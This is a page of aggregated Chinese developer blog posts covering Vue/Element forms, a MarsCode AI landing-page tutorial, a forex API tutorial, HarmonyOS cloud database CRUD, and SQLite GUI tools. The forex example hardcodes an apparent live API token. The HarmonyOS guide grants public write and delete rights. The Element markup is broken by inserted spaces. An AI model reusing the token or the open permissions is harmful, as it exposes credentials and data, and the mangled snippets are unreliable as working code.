router.beforeEach((to, from, next) => {
  const isLoggedIn = localStorage.getItem('token');
  if (to.meta.requiresAuth &&!isLoggedIn) {
    // 如果目标路由需要登录且用户未登录,则重定向到登录页面
    next('/login');
  } else {
    // 否则,允许用户访问目标路由
    next();
  }
});

这样的注释使得其他开发者在阅读代码时,能够快速理解代码的意图和功能,降低了代码的理解成本。同时,对于一些自定义的函数和组件,我们也添加了注释来解释其输入参数、返回值以及功能用途,确保代码的每一部分都清晰易懂。

3.3 规范的 Git 提交记录和习惯

在项目开发过程中,我们始终保持着规范的 Git 提交记录和良好的提交习惯。每次提交都有明确的提交信息,描述本次提交所做的修改内容。例如,“修复登录页面的验证码验证问题”“优化首页的加载速度” 等。这样的提交信息使得项目的版本历史清晰可追溯,团队成员能够快速了解每个提交的目的和影响范围。

同时,我们遵循一定的分支管理策略,如使用master分支作为主分支,用于发布稳定版本;develop分支用于开发新功能,通过创建特性分支进行功能开发,开发完成后再合并到develop分支。这种规范的分支管理和提交习惯,不仅有助于团队协作开发,还能在出现问题时快速定位和解决,提高了项目的开发效率和质量。

四、实战技巧与注意事项

4.1 表单组件的使用

在项目中,表单组件的使用非常频繁。我们使用 :model来收集表单数据,这是一种双向数据绑定的方式,能够实时同步表单输入与数据模型。例如:

<el - form :model="formData">
  <el - form - item label="用户名">
    <el - input v - model="formData.username"></el - input>
  </el - form - item>
  <el - form - item label="密码">
    <el - input type="password" v - model="formData.password"></el - input>
  </el - form - item>
</el - form>

在上述代码中,formData是一个包含username和password字段的对象,通过v - model指令,表单输入框的值会实时更新到formData中,反之亦然。

通过ref可以获取表单实例,这在需要手动操作表单时非常有用。在模板中,使用ref标记表单组件:

<el - form ref="formRef" :model="formData">
  <!-- 表单内容 -->
</el - form>

在script部分,通过ref获取表单实例:

import { ref } from 'vue';
const formRef = ref(null);

当表单挂载后,formRef就会获取到实际的表单实例。此时,我们可以调用表单实例的方法,如validate方法进行表单校验:

formRef.value.validate((valid) => {
  if (valid) {
    // 校验通过,提交表单或执行其他操作
    console.log('表单校验通过');
  } else {
    // 校验失败,提示用户错误信息
    console.log('表单校验失败');
  }
});

表单的校验规则通过rules属性来定义。例如,对用户名和密码设置必填校验:

const formData = reactive({
  username: '',
  password: ''
});
const rules = {
  username: [
    { required: true, message: '用户名不能为空', trigger: 'blur' }
  ],
  password: [
    { required: true, message: '密码不能为空', trigger: 'blur' }
  ]
};

在表单组件中,将rules属性绑定到对应的form - item上:

<el - form :model="formData" :rules="rules">
  <el - form - item label="用户名" prop="username">
    <el - input v - model="formData.username"></el - input>
  </el - form - item>
  <el - form - item label="密码" prop="password">
    <el - input type="password" v - model="formData.password"></el - input>
  </el - form - item>
</el - form>

这样,当用户输入完成并离开输入框(blur事件触发)时,表单会根据设置的规则进行校验,并显示相应的错误提示信息。

4.2 布局组件的应用

布局组件在构建页面结构时起着关键作用。我们常用的布局组件包括Elcontainer、Elheader、ElAside、ElMain等。

以一个常见的后台管理页面布局为例,使用Elcontainer作为容器,将页面分为头部、侧边栏和主体内容区域:

<el - container>
  <el - header>
    <!-- 头部内容,如导航栏 -->
    <h1>后台管理系统</h1>
  </el - header>
  <el - container>
    <el - aside width="200px">
      <!-- 侧边栏菜单 -->
      <el - menu :default - active="activeIndex" class="el - menu - vertical - demo" @select="handleSelect">
        <el - menu - item index="1">菜单1</el - menu - item>
        <el - menu - item index="2">菜单2</el - menu - item>
      </el - menu>
    </el - aside>
    <el - main>
      <!-- 主体内容区域 -->
      <p>这里是主要内容</p>
    </el - main>
  </el - container>
</el - container>

在上述代码中,Elheader定义了页面的头部,通常包含导航栏等信息。Elaside作为侧边栏,设置了固定的宽度为200px,并在其中放置了菜单组件。Elmain则用于展示主体内容。

对于页面内的布局,ElRow和ElCol经常被用于实现栅格化布局。例如,将一行分为两列,左列占 8 格,右列占 4 格:

<el - row>
  <el - col :span="8">
    <p>左列内容</p>
  </el - col>
  <el - col :span="4">
    <p>右列内容</p>
  </el - col>
</el - row>

通过span属性可以灵活调整每列所占的比例,从而实现各种复杂的页面布局。

4.3 性能优化策略

在项目开发过程中,性能优化至关重要。我们采用了多种策略来提升项目的性能。

按需加载是其中一个重要的策略。在引入 Vue 组件库 Element3 时,我们通过配置实现了按需加载,避免一次性加载所有组件,从而减少了初始加载时间。在路由方面,也采用了懒加载技术,只有当用户访问特定路由时,对应的组件才会被加载。例如:

const Home = () => import('./views/Home.vue');
const About = () => import('./views/About.vue');
const router = createRouter({
  history: createWebHistory(),
  routes: [
    { path: '/home', component: Home },
    { path: '/about', component: About }
  ]
});

这样,在应用启动时,只有必要的路由组件会被加载,大大提高了应用的启动速度。

此外,还对静态资源进行了优化。通过使用 Webpack 插件对 JavaScript 和 CSS 文件进行压缩,减少了文件体积,加快了文件的传输速度。同时,合理利用缓存机制,对于不经常变化的静态资源设置较长的缓存时间,避免用户每次访问都重新下载。

在图片处理方面,对图片进行了压缩和格式优化,选择合适的图片格式(如 WebP 格式,在保证图片质量的前提下,文件体积更小),并根据不同的设备屏幕尺寸提供相应分辨率的图片,避免加载过大的图片资源,从而提升页面的加载速度和用户体验。

五、总结与展望

通过本次项目的开发,我收获了许多宝贵的经验。从项目搭建到技术栈的运用,再到项目亮点的打造和实战技巧的积累,每一个环节都让我对 Vue 开发有了更深入的理解。在项目中,我学会了如何高效地运用各种工具和技术,解决实际开发中遇到的问题。同时,也深刻体会到团队协作、代码规范以及性能优化的重要性。

展望未来,我希望能够进一步优化项目。在性能方面,持续探索更有效的优化策略,如进一步优化图片加载、减少 HTTP 请求等,以提升用户体验。在功能上,根据用户反馈和业务需求,不断添加新的功能模块,使项目更加完善。同时,也会关注 Vue 技术的发展动态,及时引入新的特性和最佳实践,保持项目的技术先进性。

by 再学一点就睡 at January 17, 2025 02:52 PM

juejin freebie

小白一键Apply ,轻松拿捏豆包Marscode开发产品落地页

前言

本文正在参加豆包MarsCode上新Apply体验活动

这是我在vscode中使用豆包Marscode无脑对话,一键Apply得到的产品落地页模板,视频如下:

www.haolu.com/iframePlaye…

Q: 什么是MarsCode AI

A MarsCode 是豆包旗下的智能编程助手,提供以智能代码补全为代表的核心能力,支持主流编程语言及 IDE,能在编码过程中提供单行或整个函数的建议,同时支持在用户编码过程中提供代码解释、单测生成、问题修复、技术问答等辅助功能,提升编码效率与质量。

豆包 MarsCode IDE 内置了 AI助手,提供代码自动补全与生成、问题修复、代码优化等能力,帮助你更高效地完成开发任务

A 开箱即用:提供数十种不同语言、框架的开发模板,开箱即用,让你专注于项目开发。 随时随地的开发:作为云端IDE,你只需要一台可以访问浏览器的计算机、笔记本或者平板电脑便可以打开豆包 MarsCode 完成开发工作。

A不受本地资源限制:不再需要担心本地计算机对项目开发的能力支持,豆包 MarsCode 弹性的云端资源满足任何项目的需要。 主要功能 原生的AI 能力 内置了 AI 编程助手,以开发为中心,提供代码补全、代码生成、代码编辑、注释生成、代码解释等能力,助力开发效率提升。此外,AI编程助手可以从仓库中获取上下文,从而提升输出质量


以上就是豆包Mascode IDE的一点介绍,下面我来教大伙怎么使用~

一、安装豆包MarsCode 编程助手

进入网址 https://www.marscode.cn/workbench

在这里插入图片描述

或者是直接在vscode插件扩展里搜索安装即可

在这里插入图片描述 在这里插入图片描述

这里我们直接Apply ,先尝试一下,虽然第一遍效果不是很好,我们继续调教

这里我们需要对描述语进行修改,如下 请你帮我设计一个Sass(Software as a Service)落地页的描述语和功能框架。这个页面不仅要美观专业,还要能吸引用户、传递价值,并引导他们采取行动。以下是描述语和功能设计的建议


描述语:

标题:
“让复杂变简单,用 [产品名称] 提升你的业务效率!”

副标题:
“专为 [目标用户群体] 打造的Sass解决方案,轻松管理、快速部署、高效协作。”

核心价值点:

  • 一键部署,省时省力:无需复杂配置,快速上手,让你的业务瞬间起飞。
  • 智能分析,数据驱动:实时数据洞察,助你做出更明智的决策。
  • 无缝协作,团队更高效:无论团队规模大小,都能轻松实现跨部门协作。
  • 安全可靠,值得信赖:采用顶级加密技术,确保你的数据安全无忧。

行动号召(CTA):
“立即免费试用,体验未来工作方式!”


页面功能设计:

  1. 首屏(Hero Section):
    • 背景: 简洁的渐变背景或动态动画(如数据流动效果)。
    • 内容: 标题、副标题、核心价值点、CTA按钮(“免费试用”或“了解更多”)。
    • 视觉效果: 搭配一张与产品相关的插图或动态演示视频(如仪表盘界面)。
  2. 功能介绍(Features Section):
    • 模块化展示: 用图标+简短描述展示核心功能(如“智能分析”、“团队协作”、“数据安全”)。
    • 交互设计: 鼠标悬停时显示更多细节或动态效果。
  3. 客户案例(Case Studies Section):
    • 展示成功案例: 用客户Logo、简短描述和关键数据(如“提升效率30%”)增强信任感。
    • 可选: 添加客户评价或视频访谈。
  4. 定价方案(Pricing Section):
    • 分层展示: 提供3-4种定价方案(如基础版、专业版、企业版),突出性价比。
    • CTA按钮: 每个方案旁边都有“立即购买”或“免费试用”按钮。
  5. 常见问题(FAQ Section):
    • 简洁明了: 列出用户最关心的几个问题(如“如何开始?”、“数据安全如何保障?”)。
    • 交互设计: 点击问题展开答案,保持页面整洁。
  6. 页脚(Footer):
    • 联系方式: 邮箱、电话、社交媒体链接。
    • 其他链接: 隐私政策、服务条款、博客等。

样式建议:

  • 配色: 选择科技感强的配色(如蓝色、紫色、灰色),搭配亮眼的CTA按钮颜色(如橙色或绿色)。
  • 字体: 使用现代感强的无衬线字体(如Roboto、Open Sans),标题加粗,正文简洁易读。
  • 动画: 适当加入微交互(如按钮悬停效果、页面滚动动画),提升用户体验。

这样的话Marscode就会帮我们生成较好的代码,下面,下面是Marscode的回答

好的!下面是一个基于 Vue 3 和 Sass 的落地页设计方案。我们将从项目结构、代码实现、样式设计等方面进行详细说明,确保内容专业且易于理解。


项目结构

首先,我们规划一下项目的目录结构:

src/
├── assets/
│   └── images/          # 存放图片资源
├── components/          # 可复用的 Vue 组件
│   ├── Header.vue       # 顶部导航栏
│   ├── HeroSection.vue  # 首屏大图区域
│   ├── Features.vue     # 功能亮点展示
│   ├── CTA.vue          # 行动号召区域
│   └── Footer.vue       # 底部信息
├── styles/              # 全局样式和 Sass 文件
│   ├── _variables.scss  # Sass 变量
│   ├── _mixins.scss     # Sass 混合
│   ├── _base.scss       # 基础样式
│   └── main.scss        # 主样式文件
├── App.vue              # 根组件
└── main.js              # 项目入口文件

代码实现

1. 安装依赖

确保你已经安装了 Vue 3 和 Sass:

npm install vue@next
npm install sass

2. 全局样式 (styles/main.scss)

styles/main.scss 中引入其他 Sass 文件,并定义全局样式:

@import 'variables';
@import 'mixins';
@import 'base';

body {
  font-family: 'Arial', sans-serif;
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

.container {
  max-width: 1200px;
  margin: 0 auto;
  padding: 0 20px;
}

3. Sass 变量 (styles/_variables.scss)

定义颜色、字体、间距等变量:

$primary-color: #3498db;
$secondary-color: #2ecc71;
$text-color: #333;
$font-stack: 'Arial', sans-serif;
$spacing-unit: 16px;

4. Sass 混合 (styles/_mixins.scss)

定义常用的样式混合:

@mixin flex-center {
  display: flex;
  justify-content: center;
  align-items: center;
}

@mixin button-style {
  background-color: $primary-color;
  color: white;
  padding: $spacing-unit / 2 $spacing-unit;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  transition: background-color 0.3s ease;

  &:hover {
    background-color: darken($primary-color, 10%);
  }
}

5. 基础样式 (styles/_base.scss)

定义全局基础样式:

h1, h2, h3, h4, h5, h6 {
  margin: 0;
  font-weight: bold;
}

a {
  color: $primary-color;
  text-decoration: none;

  &:hover {
    text-decoration: underline;
  }
}

组件实现

1. 顶部导航栏 (components/Header.vue)

<template>
  <header class="header">
    <div class="container">
      <div class="logo">MySassApp</div>
      <nav class="nav">
        <a href="#features">Features</a>
        <a href="#cta">Get Started</a>
      </nav>
    </div>
  </header>
</template>

<script>
export default {
  name: 'Header',
};
</script>

<style lang="scss" scoped>
@import '../styles/variables';

.header {
  background-color: $primary-color;
  color: white;
  padding: $spacing-unit 0;

  .container {
    @include flex-center;
    justify-content: space-between;
  }

  .logo {
    font-size: 24px;
    font-weight: bold;
  }

  .nav {
    a {
      color: white;
      margin-left: $spacing-unit;
    }
  }
}
</style>

2. 首屏大图区域 (components/HeroSection.vue)

<template>
  <section class="hero">
    <div class="container">
      <h1>Welcome to MySassApp</h1>
      <p>Your ultimate solution for modern web development.</p>
      <button class="cta-button">Get Started</button>
    </div>
  </section>
</template>

<script>
export default {
  name: 'HeroSection',
};
</script>

<style lang="scss" scoped>
@import '../styles/variables';
@import '../styles/mixins';

.hero {
  background-image: url('../assets/images/hero-bg.jpg');
  background-size: cover;
  background-position: center;
  color: white;
  padding: 100px 0;
  text-align: center;

  h1 {
    font-size: 48px;
    margin-bottom: $spacing-unit;
  }

  p {
    font-size: 24px;
    margin-bottom: $spacing-unit * 2;
  }

  .cta-button {
    @include button-style;
    font-size: 18px;
  }
}
</style>

3. 功能亮点展示 (components/Features.vue)

<template>
  <section id="features" class="features">
    <div class="container">
      <h2>Features</h2>
      <div class="feature-list">
        <div class="feature-item">
          <h3>Fast Performance</h3>
          <p>Optimized for speed and efficiency.</p>
        </div>
        <div class="feature-item">
          <h3>Easy to Use</h3>
          <p>Intuitive interface for seamless development.</p>
        </div>
        <div class="feature-item">
          <h3>Scalable</h3>
          <p>Grow your project without limits.</p>
        </div>
      </div>
    </div>
  </section>
</template>

<script>
export default {
  name: 'Features',
};
</script>

<style lang="scss" scoped>
@import '../styles/variables';

.features {
  padding: $spacing-unit * 4 0;

  h2 {
    text-align: center;
    margin-bottom: $spacing-unit * 2;
  }

  .feature-list {
    display: flex;
    justify-content: space-between;

    .feature-item {
      flex: 1;
      margin: 0 $spacing-unit;
      text-align: center;

      h3 {
        font-size: 24px;
        margin-bottom: $spacing-unit;
      }

      p {
        color: $text-color;
      }
    }
  }
}
</style>

总结

通过以上代码,我们实现了一个基于 Vue 3 和 Sass 的落地页。这个页面包括:

  1. 顶部导航栏:简洁明了,提供快速导航。
  2. 首屏大图区域:吸引用户注意力,突出核心价值。
  3. 功能亮点展示:清晰展示产品优势,增强用户信任感。

Sass 的使用让样式管理更加模块化和可维护,而 Vue 3 的组件化开发则让代码结构清晰、易于扩展。你可以根据需要进一步优化和扩展这个落地页,比如添加动画效果、响应式设计等。

如果有其他需求或问题,欢迎随时告诉我! 😄

接下来就直接Apply 代码就可以,Marscode会自动帮我们将代码在本地编辑好

在这里插入图片描述

然后让Marscode 帮我们安装依赖和运行代码,还是直接Apply

在这里插入图片描述

二、效果展示

在这里插入图片描述

在这里插入图片描述

总结

今天我们使用Marscode代码插件,从小白一键Apply ,轻松拿捏豆包Marscode开发产品落地页 目前Marscode代码插件有如下功能:

  • 代码补全 Code Completion 在编码过程中提供单行或多行的代码推荐,并支持通过注释生成代码片段,提升代码编写速度。

  • 代码补全 Pro(beta)Code Completion Pro (beta) 在修改或重构代码时,支持基于编辑行为和代码情况预测下一个改动点,并给出推荐,协助完整的编码过程。

  • 代码解释 Code Explain 精确解释项目代码,帮助开发人员快速熟悉项目。

  • 单测生成 Unit Test Generation 为选中函数生成单测,提升单测覆盖率,提升代码质量。

  • 注释生成 Generate documentation 为整个函数或每行代码生成注释,提升代码可读性,方便协同开发。

  • 智能修复 AI Fix 一键修改代码bug,提升代码修复效率。

  • 智能问答 AI Q&A 针对研发领域定向优化问答质量,提供更精准的问答结果。

  • 支持的 IDE及语言 Multiple IDEs and Various Programming Languages 支持 Python、Go、JS、TS、C++、Java、Kotlin、C、Rust 等主流语言且兼容VSCode 及 Jetbrains 主流编辑器

大家快用起来吧,个人体验下来还是很简单的,而且完全免费,go go go

by 用户281161229338 at January 17, 2025 02:21 PM

juejin career

实时外汇 API|初学者入门数据分析

一、引言

在当今全球化的经济环境下,外汇市场是一个充满活力和机遇的领域,吸引着众多投资者和分析师的关注。对于初学者来说,掌握外汇数据分析的技能可以为他们打开通往这个复杂但富有回报的市场的大门。而实时外汇 API 作为外汇数据分析的关键支撑,其重要性不言而喻。在这个过程中,会涉及到多种类型的 API,如实时报价 API,它可以为我们提供即时的价格信息;还有免费外汇 API,为初学者提供了一个低成本的入门途径,让他们能够在不承担过多费用的前提下开始探索外汇市场。这些外汇 API,尤其是实时外汇 API,是进行外汇数据分析的重要工具,它为我们提供了实时的市场数据,包括外汇汇率的实时报价、波动情况、趋势走向以及各种潜在的交易机会等重要信息。本文将引导初学者如何开始使用实时外汇 API 进行数据分析,让你从入门到掌握基本的分析技巧。

二、什么是实时外汇 API

实时外汇 API(Application Programming Interface)是一种允许开发者或分析师通过编程方式从外汇数据提供商处获取实时外汇数据的接口。这些数据包括但不限于各种货币对的实时汇率、历史汇率、买卖价差、交易量等。通过调用这些 API,我们可以将外汇数据集成到自己的应用程序、分析工具或网站中,而无需手动从网页上复制粘贴数据,极大地提高了数据获取的效率和准确性。

常见的实时外汇 API 提供商有 Alpha Vantage、iTick、Oanda、Forex Factory 等,它们提供不同的 API 服务,有的是免费的,但有使用限制,有的则需要付费以获取更高级别的服务和更丰富的数据。

三、选择合适的实时外汇 API

  1. 免费还是付费
    • 对于初学者,从免费的 API 开始是一个不错的选择,因为它可以帮助你熟悉 API 的使用,而无需承担额外的成本。然而,免费 API 通常会有调用频率的限制,数据的准确性和完整性可能也会稍逊一筹。例如,iTick 提供了免费的外汇 API,允许每月进行一定次数的调用。
    • 付费 API 一般提供更优质的数据和更高级的功能,如更高的调用频率、更低的延迟、更详细的历史数据等。如果你打算将外汇数据分析作为一项长期的业务或研究,考虑使用付费 API 可能会带来更好的体验和结果。
  2. 数据覆盖范围
    • 不同的 API 提供商提供的数据覆盖范围有所不同。确保你选择的 API 提供你感兴趣的货币对的数据,比如你可能主要关注欧元 / 美元、英镑 / 日元等主流货币对,或者你也可能需要一些小众货币对的数据。
    • 有些 API 还会提供其他相关数据,如经济指标、央行利率、外汇储备等,这些数据可以帮助你进行更深入的分析,所以要根据自己的需求进行选择。

四、使用实时外汇 API 的准备工作

  1. 注册账号
    • 无论选择哪个 API 提供商,你首先需要在其官方网站上注册一个账号。以 iTick 为例,你只需要填写邮箱和密码,然后登录到你的账户。
    • 注册完成后,你会获得一个 API 密钥,这个密钥是你调用 API 的通行证,要妥善保存,避免泄露。
  2. 了解 API 文档
    • 每个 API 提供商都会有详细的 API 文档,其中包含了 API 的调用方式、请求参数、返回数据的格式等重要信息。例如,你可以看到如何构建请求 URL,如何添加查询参数,以及如何处理返回的数据。
    • 以 iTick 的外汇 API 为例,其 API 文档会告诉你,如果你想获取欧元 / 美元的实时汇率,你可以使用以下 URL 结构:
https://api.itick.org/forex/kline?region=gb&code=EURUSD&kType=1

五、调用实时外汇 API

  1. 使用编程语言调用

    • 你可以使用多种编程语言来调用 API,如 Python、Java、JavaScript 等。以下是使用 Python 调用 iTick API 的示例代码:
"""
**iTick**:是一家数据代理机构,为金融科技公司和开发者提供可靠的数据源APIs,涵盖外汇API、股票API、加密货币API、指数API等,#帮助构建创新的交易和分析工具,目前有免费的套餐可以使用基本可以满足个人量化开发者需求
开源股票数据接口地址
https://github.com/itick-org
申请免费Apikey地址
https://itick.org
""" 

import requests

url = "https://api.itick.org/forex/tick?region=gb&code=EURUSD"

headers = {
    "accept": "application/json",
    "token": "bb42e24746784dc0af821abdd1188861d945a07051c8414a8337697a752de1eb"
}

response = requests.get(url, headers=headers)

print(response.text)
  • 上述代码使用了 requests 库,首先构造了请求的 URL,将 YOUR_API_KEY 替换为你自己的 API 密钥,然后使用 requests.get 方法发送请求,最后使用 response.json() 方法将返回的结果解析为 JSON 格式,方便后续处理。

八、结论

使用实时外汇 API 进行数据分析是一项非常有价值的技能,对于初学者来说,虽然开始时可能会遇到一些困难,但通过选择合适的 API、理解其调用方法和掌握基本的数据分析技巧,你可以逐渐熟悉外汇市场的数据特点和趋势。随着经验的积累,你可以运用更高级的分析方法和工具,开发自己的外汇分析系统,为外汇交易或经济研究提供有力支持。希望本文能为你的外汇数据分析入门之路提供一些帮助,开启你在外汇市场数据分析的精彩旅程。

请记住,外汇市场具有高风险,在进行任何投资或交易之前,一定要充分了解相关知识并谨慎决策。

by 用户49321600411 at January 17, 2025 01:50 PM

juejin frontend

HarmonyOS Next 端云一体化(3)

HarmonyOS Next 端云一体化(3)

上一章我们主要讲解了如何新建数据库、新建数据表已经部署数据库。这一章主要学习如何对数据库、数据表进行 CRUD 的操作。

操作数据库的方式

我们操作数据库的方式一共有 4 种。

  1. 可视化 - AGC 平台上直接编辑数据
  2. 可视化 - DevEco Studio 中直接编辑数据
  3. 编程 - 客户端通过代码的方式操作数据
  4. 编程 - 云函数通过代码的方式操作数据

方式 1、2 都是为了让开发人员简单、方便管理数据。但是实际的业务场景中,我们更多要关注的是 3、4 的方式。那么本章主要讲的是 方式 3-客户端通过代码的方式操作数据 。后续再讲到云函数的时候再来补充方式 4。

生成客户端-数据模型

先解释下这个功能是做什么的。因为我们的目标是要在 客户端来查询数据库的数据,那必不可少需要在客户端中定义数据表实体的类型。然后 DevEco Studio 提供了比较便捷的根据数据实体生成客户端-数据模型。

image-20250117001110198

我这里红色的提示是因为我之前已经生成过了,所以提示是否覆盖。

成功后边得到如下内容:entry/src/main/ets/common/types/Book.ts

/*
 * Copyright (c) Huawei Technologies Co., Ltd. 2024-2024. All rights reserved.
 * Generated by the CloudDB ObjectType compiler. DO NOT EDIT!
 */
import { cloudDatabase } from "@kit.CloudFoundationKit";

class Book extends cloudDatabase.DatabaseObject {
  id: number;
  name: string;
  price: number;
  publish: Date;
  hot: boolean;
  cover: string;

  naturalbase_ClassName(): string {
    return "Book";
  }
}

export { Book };

简单使用

接下来我们就可以进入客户端查询数据库的步骤了。

  1. 首先我们需要创建一个数据库示例,每一个存储区就是一个数据库 cloudDatabase.DatabaseZone
  2. 然后指定查询条件,比如全部查询、查询 id 等于 1 等等 condition
  3. 进行查询,接收返回的数据
import { cloudDatabase } from '@kit.CloudFoundationKit';
import { Book } from '../common/types/Book';
import { promptAction } from '@kit.ArkUI';

@Entry
@Component
struct PageDB {
  // 数据库实例,初始化时为 undefined
  agcDataBase: cloudDatabase.DatabaseZone | undefined = undefined;
  // 查询条件实例,初始化时为 undefined
  condition: cloudDatabase.DatabaseQuery<cloudDatabase.DatabaseObject> | undefined = undefined;
  // 初始化数据库连接的方法
  fn1 = () => {
    this.agcDataBase = cloudDatabase.zone('Study');
    promptAction.showToast({ message: `初始化成功` });
  }
  // 查询数据库的方法
  fn2 = async () => {
    try {
      // 创建查询条件实例
      this.condition = new cloudDatabase.DatabaseQuery(Book);
      // 设置查询结果的最大数量为 10
      this.condition.limit(10);
      // 执行查询并获取结果
      const resultArray = await this.agcDataBase?.query(this.condition);
      // 显示查询结果
      AlertDialog.show({ message: JSON.stringify(resultArray, null, 2) });
    } catch (e) {
      promptAction.showToast({ message: `${e.message} ${e.code}` });
      console.error(e.message, e.code);
    }
  }

  build() {
    Column({ space: 10 }) {
      Button("初始化1")
        .onClick(this.fn1)

      Button("查询2")
        .onClick(this.fn2)
    }
    .height('100%')
    .width('100%')
  }
}

image-20250117001731385

对数据表的操作

端云一体提供了基本的对数据表的操作。主要分成以下几种

操作类型说明
query查询
upsert新增或者编辑
delete删除
calculateQuery计算

query

就是查询,上面的示例中已经使用过了。

upsert - 新增

现在主要演示 使用 upsert 实现新增

upsert 方法可以接收一个或者多个数据实体。如果该数据之前不存在,这时的 upsert 表示新增,反之表示更新。

操作成功后,会返回成功影响了的数据的数量。

比如新增:

fn3 = async () => {
  try {
    const book = new Book();
    book.id = parseInt(Date.now().toString().slice(0, 6)); // 正常应该是自增的,但是这个自增会出bug
    book.name = "book";
    book.price = 99;
    book.publish = new Date();
    book.hot = true;
    book.cover = "xxxx";
    const res = await this.agcDataBase?.upsert(book);
    AlertDialog.show({ message: `新增成了${res}条` });
  } catch (e) {
    promptAction.showToast({ message: `${e.message} ${e.code}` });
    console.error(e.message, e.code);
  }
};

Button("新增3").onClick(this.fn3);

image-20250117011316637

需要注意的是:我们当前的角色是 World,此时是没有 新增、编辑、删除权限的。所以为了方便操作,可以修改调整权限

clouddb/objecttype/Book.json

    {
      "role": "World",
      "rights": [
        "Read",
        "Upsert",
        "Delete"
      ]
    },

当数据表信息发生了修改时,需要在 AGC 平台上删除之前的数据区+数据表。然后重新部署。

upsert - 编辑

这里我们可以根据 id 来编辑一下数据。 数据库里面存放着id:10 的数据,我们就来修改它。

image-20250117201256407

fn4 = async () => {
  try {
    const book = new Book();
    //  固定修改id为10的数据
    book.id = 10;
    book.name = "更新book";
    book.price = 999;
    book.publish = new Date();
    book.hot = true;
    book.cover = "更新 xxxx";

    const res = await this.agcDataBase?.upsert(book); // 因为数据 id已经存在,所以此时是编辑
    AlertDialog.show({ message: `编辑成功${res}条` });
  } catch (e) {
    promptAction.showToast({ message: `${e.message} ${e.code}` });
    console.error(e.message, e.code);
  }
};

Button("更新4").onClick(this.fn4);

delete - 删除

执行删除 delete 方法时,也是需要传入一个或者多个删除的元素。

我们这里就可以根据 id:10 的元素执行删除。

fn5 = async () => {
  try {
    const book = new Book();
    //  固定修改id为10的数据
    book.id = 10;
    const res = await this.agcDataBase?.delete(book); // 因为数据 id已经存在,所以此时是编辑
    AlertDialog.show({ message: `删除成功${res}条` });
  } catch (e) {
    promptAction.showToast({ message: `${e.message} ${e.code}` });
    console.error(e.message, e.code);
  }
};

Button("删除5").onClick(this.fn5);

calculateQuery - 计算

calculateQuery 从数据库中查询符合条件的数据,并对指定字段进行算术计算。主要提供了以下的计算功能。

名称说明
AVERAGE0计算平均数。
SUM1计算总和。
MAXIMUM2计算最大值。
MINIMUM3计算最小值。
COUNT4计算记录总数。

image-20250117203951021

fn6 = async () => {
  try {
    // 创建查询条件实例
    this.condition = new cloudDatabase.DatabaseQuery(Book);
    // 设置查询结果的最大数量为 10
    this.condition.limit(10);
    // 执行查询并获取结果
    const resultArray = await this.agcDataBase?.calculateQuery(
      this.condition,
      "price",
      cloudDatabase.QueryCalculate.SUM
    );
    // 显示查询结果
    AlertDialog.show({ message: JSON.stringify(resultArray, null, 2) });
  } catch (e) {
    promptAction.showToast({ message: `${e.message} ${e.code}` });
    console.error(e.message, e.code);
  }
};

Button("计算6 总价格").onClick(this.fn6);

总结

本章主要介绍了在 HarmonyOS Next 中如何通过客户端代码操作云数据库,主要包含以下几个要点:

  1. 操作数据库的四种方式,重点介绍了客户端代码操作方式
  2. 使用 DevEco Studio 自动生成客户端数据模型,简化开发流程
  3. 详细讲解了数据库的基本操作:
    • 初始化数据库连接(DatabaseZone)
    • 查询数据(query)
    • 新增/更新数据(upsert)
    • 删除数据(delete)
    • 数据计算(calculateQuery)
  4. 介绍了各种操作的参数说明和返回值,并提供了完整的示例代码

以上是对客户端操作数据库的基本功能演示。下一章会重点来讲解查询语法。condition


如果你兴趣想要了解更多的鸿蒙应用开发细节和最新资讯,欢迎在评论区留言或者私信或者看我个人信息,可以加入技术交流群。

by 万少 at January 17, 2025 01:36 PM

juejin freebie

8款实用的SQLite数据库可视化管理工具

前言

俗话说得好“工欲善其事,必先利其器”,合理的选择和使用可视化的管理工具可以降低技术入门和使用门槛。今天推荐7款实用的SQLite数据库可视化管理工具(GUI),帮助大家更好的管理SQLite数据库。

什么是SQLite?

SQLite是一个轻量级的嵌入式关系型数据库,它以一个小型的C语言库的形式存在。它的设计目标是嵌入式的,而且已经在很多嵌入式产品中使用了它,它占用资源非常的低,在嵌入式设备中,可能只需要几百K的内存就够了。SQLite还具有跨平台的特性,可以在多个操作系统上运行包括Windows、MacOS、Linux等。

SQLiteStudio(免费)

工具简介

SQLiteStudio一个免费、开源的、跨平台的SQLite数据库管理工具,使用C++编写,采用Qt框架。它提供了一个直观的界面,方便用户管理和操作SQLite数据库。

Navicat for SQLite(付费)

工具简介

Navicat for SQLite 是一个强大而全面的、跨平台的 SQLite 图形用户界面、是一个需要付费的管理工具,它提供了一套完整的数据库管理和开发功能。优化你的 SQLite 工作流程和生产力-你可以快速、安全地创建、组织、访问和共享信息。

DB Browser for SQLite(免费)

工具简介

DB Browser for SQLite是一个高质量、可视化、开源的工具,用于创建、设计和编辑与SQLite兼容的数据库文件。它适用于想要创建、搜索和编辑数据库的用户和开发人员。DB Browser for SQLite使用熟悉的类电子表格界面,因此无需学习复杂的SQL命令。

DbGate(免费)

工具简介

DbGate是一个跨平台的数据库管理工具。它的设计目标是在同时处理多个数据库(MySQL、PostgreSQL、SQLite、Microsoft SQL Server、MongoDB等)时简单易用且高效。除此之外,它还提供了许多高级功能,如模式比较、可视化查询设计器、图表可视化以及批量导入和导出等功能。

DBeaver(免费)

工具简介

DBeaver是一个开源的、跨平台的数据库工具,支持多种数据库管理系统,如MySQL、PostgreSQL、SQLite、Oracle、SQL Server等。它提供了丰富的功能,包括数据库管理、数据查询、数据安全等,并具有用户友好的界面和插件扩展功能。无论是开发人员、数据库管理员还是数据分析师,都可以使用DBeaver来管理和分析各种类型的数据库。

Antares SQL(免费)

工具简介

Antares SQL 是一个开源、跨平台的 SQL 客户端工具,旨在为用户提供简洁、易用且功能丰富的 SQL 查询和数据库管理体验。Antares SQL 支持多种常见的数据库系统,包括 MySQL、PostgreSQL、SQLite、Microsoft SQL Server 等,可以连接并管理这些不同类型的数据库。

DataGrip (付费)

工具简介

DataGrip 是一款由 JetBrains 开发的跨平台数据库管理工具、是一个需要付费的管理工具。它支持多种数据库系统,包括 MySQL、PostgreSQL、Oracle、Microsoft SQL Server、SQLite 等。

by 追逐时光者 at January 17, 2025 01:10 PM

juejin career

Arduino 和 ESP8266 搭建环境监测系统:从硬件到云端

你是否想过,如何用简单的硬件和代码,实时监测环境数据并上传到云端?
